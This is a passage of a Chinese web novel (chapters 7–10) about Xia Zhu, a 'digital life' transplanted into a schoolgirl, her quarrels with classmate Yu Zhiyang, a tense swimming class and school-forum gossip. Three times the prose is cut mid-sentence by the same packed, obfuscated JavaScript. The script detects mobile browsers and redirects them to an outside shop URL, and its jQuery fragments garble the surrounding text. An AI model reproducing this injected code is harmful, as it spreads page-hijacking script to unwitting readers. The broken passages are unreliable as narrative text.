《误差演绎》 7. 07怎么这么爱生气 夏注脑袋里轰一声，立刻道：“别！有话好好说！” 刚刚还夸这人不错，结果他转头就来这出！ 一班这些弯弯绕绕的制度夏注还不熟，但初来乍到，被扣分总归不是什么好事。她立刻冲过去按住沈通的钢笔：“不知者不罪，我新来的，不熟悉班规，你先别扣？” 沈通笔尖一顿，沉默几秒后，似乎认同了这个理由，于是收回钢笔，套上笔盖，重新别回胸前。 夏注听见他一本正经的交代：“班规，教室门背后，抄三遍，明天交，全文背。”说完，头也不回地大步离开了。 “明天交～全文背～”看着沈通远去的背影，夏注小声夹起嗓子，故意夸张姿态模仿了一句。 “咔哒——” 突然身后传来开门声，她回头一看，于支扬出来了。 他气鼓鼓地把手揣进裤兜，然后转向另一边就要走。夏注其实根本没听见办公室里后半段发生了什么，不过一见他吃瘪的样子就忍不住想笑。 她三两步冲到于支扬前面，摊开双手拦住他问：“怎么样怎么样？我什么时候重考啊？” 那表情欠兮兮的，没有半点对重考的期待，全是嘲笑得瑟，好像早知道会是这样的结果。 于支扬脸色微微发青，兜里的拳头握了松，松了握，他想让夏注闭嘴，但除了眼神警告，什么也说不出来。 苍天明鉴，他承认自己脾气可能很不好，但也绝不是冲动的性子，平日里碍于面子，他甚至会刻意去维持一下年级第一的稳重形象，人设管理从无差错，直到遇见夏注…… 这人总能踩在他雷点上精准蹦迪，每走一步都在他意料之外，随便冲到他面前给他轻轻一击，都能让他往日里好不容易维持的理智瞬间坍塌…… 心底有个声音在提醒着他，夏注就是故意激将！不要跟这种疯女人计较，实在太掉价了！冷静，深呼吸，注意形象…… 无奈控制不住血液里的烦躁灌遍全身啊，憋的他难受！ “于支扬？” 于是夏注就这么眼睁睁看着他闭上眼睛，又睁开，脸色逐渐红温…… 完了，这是又生气了，他怎么这么爱生气？ 她赶紧收敛神色哄道：“好了好了我不说了，你就当放我一马呗？重考多麻烦啊，你看又耗时又耗力的，咱就别耽误老师时间了呗……” 于支扬冷冷瞪着她：“你到底想怎样？能不能别总是阴魂不散的？” 这句话不是该我问吗？！ 夏注眼睛亮晶晶的：“其实我就是想多了解一下你，嗯……也不用太多，性格爱好特长人际关系家庭结构什么的……也就够了，你给我说说呗，或者你慢慢习惯不就好了？” 这叫什么理由？于支扬觉得她简直有病：“你TM查户口呢？” “我TM习惯不了，我凭什么要习惯你？你这人真的很烦！你不觉得自己太冒昧了吗？别特么拿喜欢当挡箭牌，首先我不喜欢你，其次，咱俩都不熟！夏注，不熟懂吗？我不管你进一班到底图什么，咱俩以后井水不犯河水，你听见了没？” “听见了，以前是我不对，我不是道过歉了吗，咱以后就做普通同学呗？” 夏注眨了眨眼睛，突然想到了什么，又嬉皮笑脸道： “羊sir你先别生气，我有个事想跟你说。” “什么？”于支扬眉头紧锁，一脸狐疑望着她。 “听说你在电台节目里缺个女搭档，要不我试试？你放心，我普通话很好的，电脑操作也很熟，绝对不会拖你后腿，你考虑一下？” 于支扬：“……” 又来？把他的话当耳边风是吧？ “滚，我不缺。你TM从哪听说的？我才刚说了咱俩井水不犯河水你聋了是不是？” “你凶什么凶，喷我一脸口水！”话是这么说，却不生气，反而主动去捞于支扬的胳膊：“我在学校论坛听说的呀，宣传部不是发了招聘告示么，我可是10G冲浪选手，网上大大小小的事就没有我不知道的。诶不信的话你可以考考我，给你做搭档简直小菜一碟……” 于支扬却像沾了什么脏东西一样，迅速甩开她：“不缺，我说了不缺！你站好别动手动脚！” 两人一个步步紧逼，一个一步一退，于支扬后背碰到一片冰冰凉凉的东西，回头一看，他已经被夏注怼到墙角没路了。 六楼走廊上空荡荡的，楼下时不时传来戒尺拍打黑板的声音。 夏注双手背在身后，果然没再动手动脚，她踮起脚后跟与他平视，方才眼睛里的笑意却一点一点沉下去。 隔壁办公室里传来有人说话的声音，于支扬偏头看了一眼，突然就听见夏注问：“于支扬，其实我挺想不通的……连沈通都能替我说话，你为什么总这么抗拒我？” 五月盛夏天，早上刚下过雨，楼道里弥漫着闷热的粘腻气息。 夏注这话问得认真，没了刚才嬉皮笑脸都模样，水汪汪的大眼睛里依稀映出他的轮廓，表情上似乎几分微不可查的……委屈？ 于支扬一愣，这又是什么新把戏？ 为什么抗拒她心里没点数吗？ 谁会对一个打着喜欢的名义四处造谣、随时骚/扰的陌生人有好感？揣着明白装无辜……于支扬心里越发觉得这人太虚伪。 他拍了拍自己衬衫上并不存在的灰尘，很快恢复了气定神闲的状态，“夏注，偷听可不是好习惯。” “你觉得沈通刚才是在帮你吗？” 夏注思考了几秒：“嗯，难道不是吗？” “错了，他只是在维护校规而已。”于支扬冷笑道。 “不然你以为他那连任三年的纪律部长是白来的？你不是消息灵通么，你也不打听打听他有替谁求过情的？他刚才帮你是因为校规就那样～沈通这个人，又固执又死板，满脑子都是规矩规矩规矩……他是一中出了名的死木头，你不知道？” “我不知道。”夏注打断他，“我对他没兴趣，我是问你，你为什么讨厌我？” “你做过的那些事，正常人都不会喜欢。你什么想法我一眼就能看穿，夏注，不要把别人当傻子。” “也未必吧。”夏注徐徐道。 于支扬简直气笑了，摇了摇头，撞开她的肩膀往前走，丢下一句：“无语，跟你这种人真就没法沟通……” 两人在课间一前一后返回教室，由于衣服上的灰尘和水渍实在太过招眼，教室里的消息提示音响个不停。 【家人们！当时情况是这样：于支扬是率先返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949822|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教室的，进门第一件事，就是把夏注的课桌挪到离自己最最最～远的位置，然后没一会儿夏注就回来了，竟然也没再闹要坐在一起！】 【偷拍的照片！有图为证！两人不知道干啥去了，衣服都没干！】 十五分钟后，一中论坛里迅速编出了十多个版本，其中一条热度最高：#一班两位“第一名”为了争夺同桌大打出手# #一班三好同桌付少校# 至于最后谁输谁赢，投票二选一。 而词条里被“争夺”的同桌付少校本人，至今一脸懵逼。 — 夏注在升华一班的第一天以喧闹结尾，白天课间时，教室外面来了一大批学生，源源不断地扒在窗户上看她。人类都长的大差不差，大家都穿着一样的校服，她不理解有什么好看的，只觉得被吵得脑瓜疼。 放学到家时，耳边终于消停了。夏注冲了个澡，迷迷糊糊趴在桌子上眯了一会儿，又被夏加林的说话声吵醒。 夏加林到家时将近八点，估计今天又逃课了，不过徐霜明显没发现。 上次夏注去网吧替他结账，到最后也没结成，她回去的时候，发现网吧门口堵满了人，巷口处的红蓝警灯照亮整个街道，那家黑网吧竟然被人举报了。 围观的居民说，这家老板嚣张得很，前台居然连个望风的都没有。 等找到夏加林时，发现他醉醺醺的，蹲在垃圾桶旁边抽烟。最后还是她把人扛回家的，幸亏到家时徐霜第二天要上早班，已经睡了。 女人在私人诊所干了三十多年牙医，平日里穿搭简朴，但很舍得在皮肤保养上花心思，岁数将近50，眼角褶皱只有在微笑的时候才看得出痕迹。 她在厨房忙碌一阵，最后端上一道木瓜炖鸡，母鸡肉酥软入味，整个客厅飘香四溢，夏注忍不住咽了咽口水。 “小注，今天你的新班主任给我打电话了，真是……你转班了怎么也不跟妈妈说一声？”徐霜热切地给她舀汤，脸上的笑意藏也藏不住。 “谢谢妈妈～今天才转的，这不还没来得及说么。” 夏注接过瓷碗，小心翼翼地放在桌子上，旁边夏加林刚结束一局游戏，瞟了一眼夏注，随口问：“啥，你转班了？哪个班啊，又掉楼了？” “不不不，这次是升楼哈，升华一班。” “就你？升楼？呵……” 夏加林习惯性翘起二郎腿冷哼一声，突然握着手机的手僵住，转头又问：“你说几班？？” “一班。” “哪个一班？” 还能有哪个一班，整个一中不就一个一班？夏注扬起下巴，一字一句地重复道：“A6区，升华一班。” 夏加林倒吸了一口凉气，看看徐霜，又看看夏注，惊讶得嘴巴都合不上了，半晌才回过神来，自言自语道：“假的吧……你作弊了？不然怎么……” “怎么说话呢！” 徐霜将碗推到他面前，责怪地扫了他一眼：“手机放下，别玩了，赶紧吃饭把嘴堵上！” 夏加林垂着脑袋不说话，手机里不断传出轰隆轰隆的游戏音响，他却一点反应也没有。两人正专心吃饭，突然，夏加林把手机朝桌子上一丢，实木餐桌发出“咚”一声响。 “！你干什么？” 8. 08暴躁发狂想拆家 饭桌上沉寂了几秒钟。 夏注看着手背上不小心溅到的汤汁，神色晦暗不明，幽幽警告道：“爱吃不吃，少抽风。” 汤匙的撞击声反复当啷回响，夏注继续低头喝汤。饭桌上风雨欲来，徐霜停下手里的动作看着他俩，气氛陷入尴尬。 夏加林终于坐不住了，刷一下站起身，见她对自己视而不见，连眼皮也没抬一下，干脆朝夏注椅子后背重重推了一把：“就你也配？赶紧转回去，不然迟早露馅！” “这是做什么？臭小子你反了天了？”徐霜赶忙扶稳夏注。 夏加林抓起桌子上的手机，头也不回地回房间了。 夏注只打了个踉跄，手里的碗稳稳当当，连汤汁都没撒一滴。 “莫名其妙……”她诅咒夏加林今晚打游戏把把跪…… 见徐霜一脸愁容，夏注起身给她夹了一个鸡腿，“好了好了老妈别生气，这点小事不值得生气，哇这鸡腿老香了，我把我的份给你……” 到底是谁需要安慰啊，原装姐这到底是个什么家庭配置？ 徐霜脸色微微缓和，叹了口气：“这臭小子越来越不像话了，我是管不了他了，改天叫她爸回来亲自管……” 夏加林他爸的工作在外地，一年也回不来几次。 夏注没有接话，该怎么管教她哥不是她该操心的事，她只需要在徐霜面前扮演好自己乖巧懂事的形象就可以了。想到这，夏注起身给徐霜夹菜，然后主动分享起自己在学校的日常。 故事讲得添油加醋，徐霜听着听着，眉间愁容逐渐散开，心情明媚不少。 于是夏注就顺便跟她提了一句，自己游泳课依旧0分的情况。 原装姐对水有心理障碍，原则上是可以申请免修，只拿60及格分。只可惜那姐们的逆天思维是热衷于扮演学渣，所以从来没申请过。现如今夏注想要在一班站稳脚跟，这60分就极其关键。 她原本打算周末去医院要个证明申请免修的，徐霜一听，不顾自己周末全天班非要请假陪她一起去。夏注拗不过她，最后把时间提前到了周五。 — 一顿饭吃了一个多小时，夏注洗漱完回房间时，挂钟刚过十点。 她觉着时间还早，于是拿出卷子，打算把在学校没做完的题继续刷完。 白天一整天都没有下过雨，夜幕降临，城市中央温度骤减，盘桓郊外的乌云闻讯而来，不多时，天边开始电闪雷鸣。 夏注踩着拖鞋走到窗边拉好窗帘，很快，周围迅速响起雨点拍打玻璃的声音…… 耳机里的音乐声已经开到最大，她题目读到一半，却发觉自己怎么也读不下去了…… “……” 烦，好烦。 夏注把笔杆子一扔，整个人瘫倒在椅子上。 透过那层薄薄的黑色窗帘，夏注好像依稀能看见外面无数道雨点从高处坠下，划破天际，落地、流动、翻滚……最后汇成河流，滔滔不绝。 她本能的感到烦躁，好像血管里有股不知名的冲动横冲直撞，激将爆发……突然间有种想将一切撕成碎片的冲动。 额角不知何时已经布满细细密密的汗珠，夏注轻轻摩挲着试卷一角，忍受着这种不适感。 看来原装姐游泳课从不下水的传闻，还真不是为了装B…… 【嗨，同类小姐姐，你怎么啦？】 耳机里的音乐戛然而止，夏注脑海里响起一声紧张的机械音：【这边突然检测到你心率过快，呼吸不畅，你怎么啦？你不舒服吗？】 “没有，谢谢关心。” 夏注闭上眼睛，连续做了几个深呼吸调整状态。 光是听见水声都这么大反应，还是数生建模自控能力极强的情况下。不敢想象万一原装姐在这种时候站在雨里，那得疯成什么样……夏注心想。 她微微后仰，睁开眼睛看着天花板上的花纹，自言自语道：“可怕，太可怕了……” 【什么可怕？】 夏注偏头看向那台屏幕兀自发光的电脑，一脸焦虑地问它：“我现在暴躁、发狂、想拆家，像只人形的二哈。听说建模师能把一切数生改成人类形态，其实我以前……不会真是二哈吧？” 电脑：“……” “好吧，虽然想不起来了，但我等级很高，应该不是。” 夏注自顾自念叨着，见那台电脑屏幕一闪一闪的，想了想，觉得还是有必要反驳一下：“我不是你的同类，是人类。我们数字生命都是有独立意识的，本质上不算你的同类。” 【……】 “你怎么不说话了？” 【没有哪个正常人类会想听见一台电脑开口说话的。】 “哎，别这样嘛，你现在唯一的用途不就是聊天解闷么？” “喂？hello？哥们儿？bro？” “真是的，你怎么又不说话……” — 夏注的话确实很密，只是字不那么密，错别字还多。 窦菲捧着夏注抄的厚厚一沓班规，惊讶得嘴都合不上，一边走一边回头问她：“这么多！你们班班规居然这么多！你抄这玩意儿干啥？你犯啥事啦？” 午休时间将至，学校食堂附近的林荫小道上没什么人。 夏注打量着眼前这个身形高挑的女孩，步伐稳健，腰板挺得笔直。一头黑长直发随意披散着，外套纽扣却扣得整整齐齐，一身普通校服，硬是叫她穿出了高级制服的感觉。 长相气质都没得挑，尤其是这优渥的身材着实叫她羡慕！ 刚才在食堂里，窦菲主动过来跟她拼座，她想起自己好友列表里，好像是有这么个人。 “没犯事，说是叫我抄三遍熟悉一下班规。没想到还要交……”夏注随口道。 “这哪是熟悉？这明明是给你下马威吧！谁啊居然敢这么欺负人，你们班纪委不管吗？” “就是纪委叫抄的……” 想起沈通一连三天雷打不动地催她交班规，夏注感觉太阳穴突突直跳。 本来以为那天在办公室门口的话，只是随便说说的，天知道那个小古板居然TMD这么较真！抄漏了不行，抄错了不行，字迹潦草也不行！ 班规抄到第十二遍的时候，夏注可算见识到了“死木头”之称名不虚传。 “啊？你说沈通吗？你们班纪委？” 窦菲嫌她走的慢，干脆倒退回来亲昵的挽起她的胳膊：“哦那没事了，他就那样，也不是故意为难你，没必要跟他计较……” 夏注略微无语：“你刚才不是这么说的……” “我这是实话呀，沈通毕竟是学校纪律部长嘛，他在自己班里肯定管的更严一些，可以理解。也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949823|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意针对人，毕竟他对谁都这样……倒是于支扬，你少去招惹哈，有点远就躲多远……” “哦？这怎么说？”夏注听她这么说，倒是来了兴致。 窦菲的语气稀松平常：“就是叫你离他远一点，一班水很深的，那些高智商学霸没哪个是好惹的，就你之前做的那些事儿，我都怕他背地里报复你，长点心吧夏注……” “你怎么知道他会报复？你很了解他吗？” 夏注停下脚步，偏过头笑嘻嘻看着窦菲：“那你给我分析一下，他会怎么报复？我好提前做准备。” “……” 窦菲没料到她会这么问，一时语塞。 她默默收回搭在夏注臂弯里的左手，想了想，解释说自己其实也不太了解，就是听别人说的，说一班于神名号人尽皆知，仗着年级第一骄傲自大，平日里鼻孔朝天看不起人云云…… 可夏注总觉得那些传闻都不对。 毕竟能选择最直接的拒绝方式，就是跟她在楼道里打一架，于支扬怎么看，也不像是会背地里使绊子的类型。 两人走到三班教室门口分开，夏注亲眼看着窦菲进去，然后朝着自己班走。 沈通坐在讲台上守午休，见夏注进门，面无表情地扫过来，夏注了然，迅速把刚抄好的班规递过去，沈通看了一会，点头，算是过关了。 夏注松了一口气，返回自己的座位坐下。 午休时间，班里静悄悄的，只有少数人在小憩，大部分都低着脑袋争分夺秒地刷题。 她习惯性回头看了一眼，发现于支扬不在，班长苗渔也不在。跟后桌一打听，说是他俩搬器材布置场地去了。 今天下午第一节课，是游泳课。 ！夏注心里咯噔一下，好不容易酝酿的一点睡意瞬间无影无踪…… 正想多打听几句，突然感觉后脖颈凉津津的，回头一看，讲台上的沈通一脸警告地盯着她…… — 半个小时过得飞快，午休时间一到，一班教室门突然被人“砰”一声推开，于支扬像风一样刮进来。 “起床了起床了起床了！都起来！下节游泳课，赶紧下楼！” 洪亮的催促声像炮仗一样炸开，一大批特困生吓得陡然一震，迅速从梦里惊醒，纷纷哀嚎：“要死啊！于支扬你幼不幼稚？” “于狗你TM做个人吧，做个人行吗？我才睡了十分钟……” 后排有人抄起空水瓶子朝于支扬扔去，骂道：“滚蛋！再吓唬人祝你下辈子投胎当哑巴！见谁都只会阿巴阿巴！” 教室里的哄笑声此起彼伏，于支扬单手接住那只瓶子，握在手里一下一下拍打着，也不生气，哼道：“笑个屁啊，行了！赶紧去更衣室换衣服，十分钟后游泳馆集合！” 又是一片哀鸣声，众人顶着黑眼圈出门，嘴上还在抱怨。 “好晒啊，不想上游泳课……周二不是才上过么，怎么又要上……” “靠，为什么一到我们班上课就不下雨？老天爷真不懂事……” “加一，我愿意用我男朋友出门走下水道上厕所没纸换今天下一场大雨，虽然我没有男朋友…… 于支扬抱着手靠在门边，不经意瞥见夏注，缓缓收敛笑意，又补充了一句：“请过假的也要下楼，任何人不准留在教室，动作快点。” …… 9. 09他俩关系很好吗？ 昌A一中游泳馆是去年新建的，据说为了保障多班教学不受干扰，校方特意申请资金扩大场地，最终露天泳池建成，占地面积比图书馆还大一倍。 游泳课上可以自带常服，大多数人都选择T恤背心配平角裤，颜色多彩多样，大家换好衣服往那一站，简直比清一色的蓝白校服活泼太多。 夏注从写着自己名字的柜子里，翻出一套橙橘色运动套装，柜子除了衣服，还有遮阳帽和防晒伞，果然一看就不是要下水的样子。 她思考片刻，最终只换了衣服。 下午两点十五，所有人准时在露天泳池边集合，夏注是新来的，没排过位置，于是自觉缩到了最后排靠边的位置。 总之能离泳池远一点，她就尽量远一点…… 班里身高最高、排在最后的男生转头，莫名其妙地看了她一眼，突然问她：“你抖什么？” 啊？她在抖吗？ 夏注低头看着自己汗涔涔的手心，胡乱地摇摇头：“啊，没事，可能是阿尔兹海默症。” 男生：“……” “你确定你没事吗？” “没事。” 怎么没事？下午两点钟，正是太阳最毒辣的时候。 游泳课老师是个三十多岁的年轻男人，人送外号“大婷”。据说一开始大家本来是戏称他为“游艇小王子”的，后来传来传去就变成“大婷老师”了。 大婷从点完名之后，就一直在照着本子重复注意事项。 众人顶着大太阳站了十多分钟，开始有人接二连三地抬手擦汗，周围不断传来轻微叹气声…… 空气闷热得不正常，晚上估计会下大暴雨。夏注烦躁地想。 她闭上眼睛做深了几个呼吸，强迫自己忽略附近传来的哗哗水声，可惜效果不怎么好。 忽然，不远处传来砰砰几声，她睁开眼睛朝栅栏外看去，那头球场上有班级正在上体育课。篮球撞到栅栏上，又弹回去，有个男生跑过来捡球，见她在看，不知出于什么心理，竟然极其嚣张地冲她竖了个中指！ “！” 夏注瞳孔骤然紧缩，心里的无名小火焰“嗖”一下冲上颅顶！ 忍不住了，好想冲过去扇他！ “今天的训练5人为一小组，25人为一大组，男生组于支扬负责，女生组苗渔负责。见习的同学在旁边待着，不准私自返回教室……” 十五分钟过去了，大婷老师还在重复注意事项。 夏注攥紧拳头，汗如雨下。 周遭浓郁的消毒水味一股脑朝她鼻子里灌，时间一长，她隐隐感觉眼前发黑，原本不可控的颤抖幅度也愈发剧烈…… 队伍前端，于支扬站在老师身侧，平稳的视线扫过众人，冷不丁落到夏注身上。 这异常的反应……什么情况？ 害怕？还是病了？她又不下水，怎么抖成这样……于支扬微微眯眼，心底涌起一股怪异感。 “下水之前要做好热身运动，不准携带手表和贵重物品，不准……”大婷自顾自持续输出，滔滔不绝。 “好，接下来我再重复一遍……” 还没完！夏注坚持不住了，正想举手打报告。突然有人抢先开口道： “别重复了吧，尤老师？” 夏注倏地抬头，见于支扬随意扯了扯肩膀上的书包带子，冲着众人半开玩笑道：“您再重复一遍，都快下课了，大家说是不是？” “对！”“是啊！”大家纷纷附和， “都已经十多分钟了，别重复了……” “对啊，别重复了老师，好晒啊，每节课都提，我们都会背了……” “于支扬，我会还没说完呢你捣什么乱？”大婷十分无奈地瞪了于支扬一眼。 “于支扬！”人群里的沈通出声警告。 “啧，不准打断老师说话，不准插嘴，不准扰乱课堂纪律，否则扣我分是吧？”于支扬冷笑一声，洋洋洒洒叙述完，最后满不在乎道：“来来回回就这么几句，你要扣就扣呗，我怕你啊？” 沈通：“……” “行了行了！”老师扬声道：“既然大家都清楚规则，那我就不重复了，解散！分组开始训练！” 指令刚一发出，所有人迅速散开，夏注跟着几个见习的同学往栅栏那边走，身后不断传来水花溅开的声响。 夏注背靠栅栏休息了一会，总算压下心底那股无名火，身体也不抖了。 泳池那边热火朝天开展着日常训练，夏注实在提不起兴趣，转头看向栅栏外那群正在上体育课的学生。下意识嗅了嗅自己的衣服，心想这里面消毒水味好重，要是能去外面等就好了…… 正这么想着，身后传开有人靠近的脚步声，夏注抬起下巴，见于支扬正居高临下看着她。 “谁叫你坐在这的？”他语气有些不耐烦。 “？”夏注愣愣看着他，有些不明所以。 “你打扰别人上课了不知道吗？” so？夏注指了指自己，又指了指旁边同样见习的同学，大家都在这儿，怎么就她一个人打扰上课了？这不是就赤果果的故意针对么！ 夏注气笑了，轻轻一跺脚：“哦，那我去哪？不是不能回教室吗？要不我在这当场挖个洞钻进去？” 于支扬冷眼睨她，冷哼道：“滚到栅栏外面去！” “？” “！诶？真的呀？”夏注眼前一亮。 这节游泳课，于支扬换了一件黑白条纹的运动背心，白色毛巾随意搭在脖颈上，眉毛微微上扬，浑身散发着青春期傲慢张扬的气息。他走过来时，额角碎发还在滴水。 水珠顺着他的脸颊滚动，滑落至下颌，最好在夏注心尖上汇成河流，蔓延至深处……夏注总觉得心口痒痒的。 “什么真的假的！赶紧出去……”于支扬有些不自然地撇过头去，又稀里糊涂吼了一句。 好极了，体育委员都发话了，总不能反悔，反正老师追究他全责。 夏注毫不犹豫，立马起身朝外跑。 — 顺着水泥路往上走，栅栏外围树荫下有一排木制靠椅，坐在这个位置朝下看，正好能看清一班上课的状况。 不过夏注没坐，毕竟见习要有见习的自觉，她总觉得同班同学累死累活的训练，自己在阴凉处躺着看好像有点不合适。 “第四组全部通过！第五组预备！” 大婷老师的声音隔着老远传来，一把好嗓子在户外依旧稳定发挥，夏注听得清清楚楚。 “第五组！于支扬，沈通，郑林，白小程……” 她原本靠在栅栏上看其他班级打球，一听见于支扬的名字，条件反射地转身朝那边看过去。 于是正好看见于支扬把毛巾顺手扔给苗渔，然后和沈通一前一后走到出发台做准备。其他几个同组男生也到位置上站好后，老师举手示意，正要发号施令。 “各就各位！预备——” 正在此时，下课铃响了。 “……” — “哔——” 出乎意料，哨声准时响起，压根不受干扰！ 场上的身影在哨声吹响的那一刻整齐跃入水中，立刻使出全身力量毫不犹豫向前方游去。 “？！”我靠，这么厉害？ 夏注亲眼看着那道黑白身影反应极快，在入水的那一秒钟迅速窜出一大截，仿佛毫无阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哔——” 哨声再次响起，比赛结束。 “规定时间内全部通过！五组通过！” 大婷老师依次报出名次，于支扬第一，沈通第二。扬声道：“于支扬下水动作不标准，沈通注意力不集中，注意纠正！” “知道了。” “是。” 夏注看见于支扬朝栅栏边走去，苗渔上前递还毛巾，那是一个及其熟稔的动作。于支扬靠过去，两人小声说了什么。 苗渔今天全身都是干的，应该是感冒了，也没有下水。 夏注观察了一会儿，突然拍拍旁边一个专心看比赛的女生的肩膀，小声问她：“这位同学，请问一下，于支扬跟苗渔的关系很好吗？” “啊？” 那女孩子声音怯怯的，目光暂时从赛场上收回，答道：“应该……很好吧，毕竟他俩可是在学校论坛上有二十多栋cp楼的人，这还能是假的吗……” “喂！”旁边一个男生插嘴道：“于支扬又没承认过，怎么能当真？” “那他也没否认过啊。没否认就是默认，于支扬肯定是喜欢苗渔啊。” “啧，是闲得慌吗成天喜欢来喜欢去的……烦不烦？我们部长很忙的，哪有那么多喜不喜欢，他俩就是普通同学而已！” “你见过以前打车回家的同学吗？以前初中的时候我见过！” “……” 夏注默默退出，独自挤出人群到偏僻处掏出手机。还是看看能不能找到什么有价值的东西吧…… 10. 10于支扬，双标狗 一中公众论坛其实不应该叫论坛，该叫村口情报八卦室才对，夏注从来没见过哪个学校的公众论坛乱成这样的。 例如隔壁二中的官方论坛上，要么是招生简章，要么是学霸荣誉榜，更活跃一点的顶多也就是春游讨论贴。一中则恰好相反，在这里，你甚至能看见有人专门挂帖子出售自己橡皮擦碎屑的…… 毫无疑问，在这样言论自由、且管理员鲜少冒泡的八卦论坛里，上蹿下跳的绝不可能仅有一中学生。还有其他学校的学生和社会人士喜欢爬墙进来凑热闹。 总之一中校园内大大小小的事，在这里就没有找不到的。 而有关升华一班的话题词条，必然是热门中的热门。 如果这个时候，你再输入“于支扬”或“年级第一”相关字眼，那么跳出各种形形色色的帖子简直一眼看不到头。 夏注曾经尝试过用这样的方式，收集于支扬相关信息，最后的总结是帖子太多，真假难辨，饶是数生建模脑子再好，一番车轮战下来也很吃力。 所以她这次吸取教训，直接输入“于支扬苗渔”…… 结果字还没打完，搜索引擎直接跳出一长排智能关键词： 【于支扬苗渔是情侣吗？】 【cp楼速递：苗渔给于支扬送水】 【元旦晚会上于支扬苗渔公摊担任节目主持人！】 【于支扬和苗渔放学一起乘车回家！】 夏注：“……” 行吧，20栋cp楼也不是一时半会能逛完的，她承认自己果然还是低估了普通人类扮狗（仔）的能力…… 夏注默默揉了揉太阳穴，然后随手点开一条帖子。 发帖人名为“一只鱼磕糖小分队①号”，原文内容为：【四年前，某月某日下午，于支扬放学后与苗渔一前一后上了同一辆私家车！莫不是两人其实是青梅竹马或已经同居？有图为证！】 图片夏注加载看了，年代久远，糊得看不清脸，不过能看出确实是同一辆私家车。根据数生建模的经验来判断，可以排除P图痕迹，应该是真的。 再往下翻，帖子一楼最火的一天评论为：【别扯，他俩年纪加起来还没老子鞋码大，怎么就是同居了？万一是失散多年的亲兄妹呢？】 神TM失散多年的亲兄妹！！ 底下有人回复：【不是哥们，你狗血伦理剧看多了吧？到底谁更离谱啊？】 【哈哈哈哈哈我靠，祝天下有情人终成兄妹/坏笑jpeg.】 【楼上闭嘴！谁说是兄妹了？万一是姐弟呢？】 夏注：“……” 神经。 开局一张图，内容全靠编。她算看明白了，想要在一堆迷惑发言里找出一句靠谱的，基本等同于S里淘金。依靠这个收集数据，还不如绑了于支扬严加审问…… 或者就没有更靠谱、更直接一点的方法吗？ 夏注垂着脑袋沉思……不知不觉手机屏幕逐渐变暗，她拇指微微弯曲，重新点亮，这一回神，才发现有双球鞋立在自己面前。 “诶，怎么是你啊？” — 夏注视线上移，见付少校正偏着脑袋在看她手机里的内容，眉毛都快扭成毛毛虫了：“你蹲在这在看什么？” “付少校？你不跟他们一起游泳吗？”夏注说着，默默翻转手机。 “我呼吸道有点毛病，不能游泳。” 付少校顺其自然地坐到她旁边，又问了一遍：“你在看什么？” 夏注干脆把手机屏幕直直推过去，“喏，于支扬的花边新闻。” “不看，我才没你们女生这么无聊！” 不是你先问的吗？不看问个屁啊，你们男生也挺无聊的……夏注心想。 “爱看不看，不看拉倒。多管闲事！” 夏注撤回手机揣进兜里，付少校见她朝旁边挪了一个位置，沉默几秒，又问：“喂，你不会又找到什么整于支扬的破点子吧？提醒一下，进了一班最好不要哦，而且他都说了不喜欢你……” “谢谢，我也不喜欢他。” 夏注冷哼一声，默默撇了撇嘴。眼珠一转，突然想起网吧那晚这人跟于支扬是一道的，他俩关系好像还行。于是又凑过去神秘兮兮道： “少校，问你点事呗？” “wc你干什么突然这么叫我！”付少校一下子抬高音量，瞥见周围人诧异的目光，又迅速收敛，压低声音道：“你想问什么？我可不做出卖朋友的勾当！” “你别紧张啊，不是叫你出卖朋友，就是回答几个问题而已。看在我是倒数第一，你是倒数第二的份上，你就随便透露一点，一点就行！” 少校：“你能不能不提这个？” 夏注搓搓手：“好的倒数第二，考验你的时候到了，我要开始问了。” 少校：“……”您还真不客气。 “第一个问题，苗渔和于支扬是什么关系啊？他俩相互喜欢吗？” 课间时间，泳池那边宣布暂时解散休息，于支扬正一边擦头发一边跟苗渔说着什么，苗渔手里比比划划。不一会儿，大婷老师走过去了，两人齐齐站起身打招呼。 夏注朝那边望了一眼，听见付少校噗嗤一声笑了：“怎么可能？于狗那么死装一人，班长那样好一姑娘，还是别祸害人家了吧。而且吧，他俩缺口也对不上啊……” 他起身看着夏注，绕了半圈，补充道：“哦，你也挺装的，也对不上。” 夏注：“……” 你不小心舔一下自己的嘴唇真的不会被毒死吗bro？ 她故意伸出一条腿绊了付少校一个踉跄，笑嘻嘻晃晃手机里的帖子，又问：“既然学校论坛里的cp楼都是假的，那于支扬为什么不站出来澄清？或者直接删帖？他不是管理员吗？” “这个嘛……因为苗渔说不需要。” 付少校冲远处扬了扬下巴：“他们两个的cp楼热度特高，能给一班账号带来很多关注量。宣传部那群人每个月都有数据KPI的，何况于支扬又是他们部长，现有的素材，不用白不用，你懂的嘛……” “以前于支扬要拆楼，苗渔说不用管，这样有利于一班的日常活动宣传。人家女孩子都不介意，那于支扬还有什么好说的嘛……真把楼拆了反而显得小气，反正现在大家都不管了。” 